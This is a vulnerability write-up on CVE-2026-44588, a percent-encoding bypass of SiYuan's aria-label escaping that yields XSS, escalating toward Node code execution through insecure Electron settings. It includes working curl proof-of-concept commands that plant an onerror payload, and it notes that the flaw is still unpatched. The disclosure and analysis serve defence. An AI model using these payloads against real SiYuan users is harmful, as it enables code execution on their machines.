//nefariousplan

CVE-2026-44588: SiYuan Patched the Encoder. The Decoder Runs After.

vendor

patterns

cve

proof of concept

SiYuan's encoder for aria-label attribute values is escapeAriaLabel. It double-escapes < to the literal six-character sequence &amp;lt;, an unusual encoding whose only reason to exist is that the author traced the value's path and counted two canonicalizers downstream: the HTML attribute parser (decodes &amp; once) and the innerHTML setter (decodes &lt; once). Pre-encode for two; the visible result is the character < rendered as text, not as a tag.

The vulnerability is a third one. app/src/block/popover.ts:144 calls decodeURIComponent on the same string before innerHTML ever sees it. The character class the encoder gates against is ["'<]. The character class decodeURIComponent rewrites is %[0-9a-fA-F]{2}. The two are disjoint. CVE-2026-34585 patched the encoder. CVE-2026-44588 is the second function call on the same string.

The encoder was written for one decoder and counted to two

escapeAriaLabel lives in app/src/util/escape.ts. It is five lines:

export const escapeAriaLabel = (html: string) => {
    if (!html) {
        return html;
    }
    return html.replace(/"/g, "&quot;").replace(/'/g, "&apos;")
        .replace(/</g, "&amp;lt;").replace(/&lt;/g, "&amp;lt;");
};

The replace(/</g, "&amp;lt;") is the diagnostic. A textbook HTML encoder turns < into &lt;. This function turns < into the literal six-character sequence &amp;lt;. The fourth replace extends the pattern to preexisting &lt; sequences so they survive intact.

The reason &amp;lt; instead of &lt; is what the value passes through on the way to the screen. SiYuan writes the encoded string into an HTML attribute. The attribute parser decodes once (&amp; becomes &, leaving &lt;). The tooltip assigns the value to innerHTML. The HTML parser decodes again (&lt; becomes the text character <). Two decode passes; the encoder pre-encoded for both. The visible result is the character < displayed as literal text, not interpreted as a tag.

The double-encoding is not naive. It is the work of an author who traced the path the value takes, counted the canonicalization steps, and pre-encoded for each. Vanessa, the maintainer who introduced this function on December 20, 2025 in commit 319db401, understood the threat model.

The vulnerability is a third canonicalization step the function does not name.

The pipeline has three canonicalizers, not two

app/src/block/popover.ts is the global mouseover handler. The relevant reads, in order:

// popover.ts:33
let tip = aElement.getAttribute("aria-label") || "";

This is canonicalizer #1. getAttribute returns the attribute value after the HTML attribute parser has decoded entities once. &amp;lt; has become &lt;. The encoder accounted for this.

// popover.ts:144
showTooltip(decodeURIComponent(tip), aElement, tooltipClass, event, tooltipSpace);

This is canonicalizer #2. decodeURIComponent expands each %XX escape into the byte it represents. Its character class is %[0-9a-fA-F]{2}. It is the function the encoder never named.

// tooltip.ts:41
messageElement.innerHTML = message;

This is canonicalizer #3. innerHTML parses the input as serialized HTML. &lt; from the input string becomes a text-node < character. A literal < from the input string opens a tag.

The encoder gates step #3 only when the forbidden character entered the pipeline already in its forbidden form. If the character entered as %3C, step #2 manufactures the < after the encoder has finished running, and step #3 sees a tag-opening byte the encoder never produced.

The encoder and the decoder were born in the same commit

Commit 319db401c2e7decb3e8839d44a2a1b9bee4c3794, December 20, 2025, author Vanessa [email protected]. The commit message references issue #16640, a focusSideBlock console-error report that has nothing to do with security. The commit is one of many that day; SiYuan's solo-maintainer rhythm rolls multiple unrelated changes into single commits. Among the files this commit creates, two are load-bearing for CVE-2026-44588:

app/src/util/escape.ts          // new file, contains escapeAriaLabel
app/src/block/popover.ts        // new file, contains line 138 (now :144):
                                //   showTooltip(decodeURIComponent(tip), ...)

Both functions are present in their CVE-2026-44588 form in the same commit. The encoder that gates ["'<] and the consumer that calls decodeURIComponent(tip) were written by the same author on the same afternoon. The author's mental model of the pipeline existed; the encoder's character class is direct evidence of it. The encoder anticipates the HTML attribute decode and the innerHTML decode. It does not anticipate the function call between them, written into the same commit, in a file the author was editing in the same hour.

The line that introduced the unconditional decodeURIComponent on the same-file assetTip branch later (March 17, 2026, commit badf737, "Improve support for URL-encoded local file names") is from a different contributor, Jeffrey Chen / @TCOTC, working in popover.ts without re-examining what the producer side of the pipeline assumed. The decoder grew a second invocation site. The encoder did not grow a % to its character class.

The advisory's framing of CVE-2026-44588 as an "incomplete fix for CVE-2026-34585" describes the resolution of the prior CVE: SiYuan patched the encoder. The bug had already passed through the encoder by the time of the patch.

The payload

The PoC is a percent-encoded <img onerror>. The attribute reads, in order, through the pipeline.

# 1. Create a document via the kernel API.
curl -X POST http://localhost:6806/api/filetree/createDocWithMd \
    -H "Authorization: Token <SIYUAN_TOKEN>" \
    -H "Content-Type: application/json" \
    -d '{"notebook":"<id>","path":"/poc","markdown":"poc"}'

# 2. Rename the document with the percent-encoded payload as its title.
curl -X POST http://localhost:6806/api/filetree/renameDocByID \
    -H "Authorization: Token <SIYUAN_TOKEN>" \
    -H "Content-Type: application/json" \
    -d '{"id":"<doc-id>","title":"%3Cimg src=x onerror=\"alert(1)\"%3E"}'

When the user opens the search panel and the document name surfaces in the result list, SiYuan's search renderer emits app/src/search/util.ts:1406:

<span class="b3-list-item__text ariaLabel"
      aria-label="%3Cimg src=x onerror=&quot;alert(1)&quot;%3E">
  poc
</span>

escapeAriaLabel has run. The two characters from its class that the payload contains, " and ', have been replaced. %3C and %3E were never touched, because no character in [%3CE] is in ["'<].

The mouse moves over the result. popover.ts:33 reads the attribute. The HTML attribute parser turns &quot; back into ". The string entering decodeURIComponent is:

%3Cimg src=x onerror="alert(1)"%3E

decodeURIComponent runs. %3C becomes <. %3E becomes >. The string entering innerHTML is:

<img src=x onerror="alert(1)">

innerHTML parses it as HTML. The <img> element is created. The image fails to load. onerror fires.

What lives at onerror is Node.js

app/electron/main.js:407-411 configures the main BrowserWindow:

webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
    autoplayPolicy: "user-gesture-required"
},

nodeIntegration: true exposes Node's require to renderer-side JavaScript. contextIsolation: false puts the page's scripts and the preload script in the same JS context, so the document's own scripts can call require. webSecurity: false disables same-origin restrictions on the renderer. The triple is the example Electron's own security docs use as the configuration not to ship.

This is the SiYuan main window. The search panel runs in this renderer. The file tree runs in this renderer. Every attribute-view tooltip runs in this renderer.

onerror="require('child_process').exec(...)" is one line. Percent-encoded, it goes through escapeAriaLabel unchanged. The chain from the encoder's character class to child_process.exec is six lines of code across three files.

The character classes are disjoint

This is the diagnostic of Gate Before Canonicalize: a security check inspects an input for a forbidden form, a downstream subsystem canonicalizes the same input into that forbidden form, the check sees the wrapped representation and the action sees the unwrapped one. The prior exhibits live in URL routing. Alfresco's path blacklist gated on the URL Spring extracted; Tomcat then unwrapped ..; into ... Spring's uriDecode gated on a string Spring produced by truncating 16-bit chars; Jetty 12 finished a canonicalization Spring's pattern set was not written to recognize. s3-proxy's auth middleware globbed against r.URL.RequestURI() (encoded); the handler dispatched on chi.URLParam followed by url.PathUnescape (decoded).

SiYuan's instance moves the pattern out of HTTP routing and into the DOM. The producer writes through an HTML-entity escape. The HTML attribute parser is the first canonicalizer. decodeURIComponent is the second. innerHTML is the third. The encoder's set is ["'<]. The decoder's set is %[0-9a-fA-F]{2}. There is no character in one that the other names. The gate runs against a string the next-but-one stage has not yet manufactured.

The class signature applied to a DOM API. The encoder author understood the entity-decode pass and gated for it; the URL-decode pass lives in a different file the encoder author was editing in the same hour and never had to read as a sequence.

The aria-label tooltip is a Design Debt Driver

escapeAriaLabel is called from twelve distinct sites across SiYuan's source tree. Search result rows in app/src/search/util.ts, app/src/search/assets.ts, and app/src/search/unRef.ts. AI action lists in app/src/ai/actions.ts. File-tree entries in app/src/layout/dock/Files.ts. Outline and backlink labels in app/src/util/Tree.ts. Attribute-view column headers in app/src/protyle/render/av/col.ts. Attribute-view select-cell options and view tabs in select.ts, view.ts, render.ts, and blockAttr.ts. Twelve producers, all writing to the same attribute name with the same encoder.

Every one of them flows into one consumer: the global popover.ts mouseover handler, which reads aria-label and calls decodeURIComponent on the result before handing it to innerHTML. The pipeline is fan-in. One bypass in the consumer reaches every producer.

The component is the design debt. The prior CVE patched the encoder; the new CVE bypasses it through the same popover.ts line. As long as the producer and the consumer live in different files and the encoder's character class is computed by tracing canonicalization steps the encoder author knew about, the next person who adds a new decoder step (or a new attribute that reaches the same handler) will open the same shape.

The fix is not the encoder

The advisory's suggested remediations name three changes. Replace messageElement.innerHTML with textContent in tooltip.ts:41. Remove the unconditional decodeURIComponent call in popover.ts:144. Set contextIsolation: true in the BrowserWindow.

The change that is not on the list is "patch escapeAriaLabel." The encoder was the fix for CVE-2026-34585 and is downstream of the bug for CVE-2026-44588. Hardening the encoder will not close this; one more %-class character the encoder does not gate, or one more attribute that gets decodeURIComponent'd before innerHTML, will reopen the same shape.

The GHSA advisory lists Patched Versions: None. As of writing, no version of SiYuan has shipped a fix. popover.ts:144 and tooltip.ts:41 remain on main.

PoC: advisories/GHSA-25rp-h46x-2hjm. Reporter: Curly-Haired-Baboon.

The encoder was patched. The decoder runs after.